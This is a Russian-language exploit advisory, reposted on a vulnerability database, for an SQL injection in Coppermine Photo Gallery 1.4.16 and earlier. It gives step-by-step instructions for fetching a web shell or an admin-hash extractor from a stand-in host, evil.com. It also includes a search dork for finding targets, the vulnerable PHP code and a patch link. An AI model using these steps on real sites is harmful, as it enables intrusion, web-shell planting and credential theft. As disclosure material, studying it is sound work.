Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19731
HistoryApr 25, 2008 - 12:00 a.m.

Coppermine <=1.4.16 [Content-type] SQL-injection Exploit

2008-04-2500:00:00
vulners.com
138

Coppermine <=1.4.16 [Content-type] SQL-injection Exploit

1) Дата:
Найдена: April 9, 2008
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html&#41;

2) Продукт: Coppermine Photo Gallery <=1.4.16

3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов.
Галерея доверяет ответу удаленного сервера.

4) Автор: Elekt (bug found April 9, 2008)

5) Тип: удалённая

6) Опасность: 5/10

7) Описание:
Уязвимость позволяет получить веб-шелл или хеш админа.
Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам.

8) Эксплоит: способ эксплуатации уязвимости

[1] Shell upload

(1) Заливаем shell.hack и .htaccess на свой сервер
(2) Авторизуйтесь, вам должно быть разрешено заливать файлы
(3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack
(4) Удачная загрузка -> Продолжить
(5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php

[2] Admin data

(1) Заливаем exploit.hack и .htaccess на свой сервер
(2) Настраиваем [options] в эксплойте
(2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix.
(2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2
(3) Авторизуйтесь, вам должно быть разрешено заливать файлы
(4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack
(5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result]
(6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51787.0.html

Сам уязвимый код:

/upload.php

PHP код:
if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) {
cpg_die(ERROR, $lang_errors['perm_denied'], FILE, LINE);
}

$URI_upload_count = count&#40;$_POST[&#39;URI_array&#39;]&#41;;  

if &#40;$URI_upload_count &gt; 0&#41; {  
  
       if&#40;!&#40;eregi&#40;&#39;^content-type: &#40;[[:graph:]]+&#41;&#39;, $header[&#39;wrapper_data&#39;][$i], $MIME_extraction_array&#41;&#41;&#41; {  

                $MIME_result = cpg_db_query&#40;&quot;SELECT extension FROM {$CONFIG[&#39;TABLE_FILETYPES&#39;]} WHERE mime=&#39;$URI_MIME_type&#39;&quot;&#41;;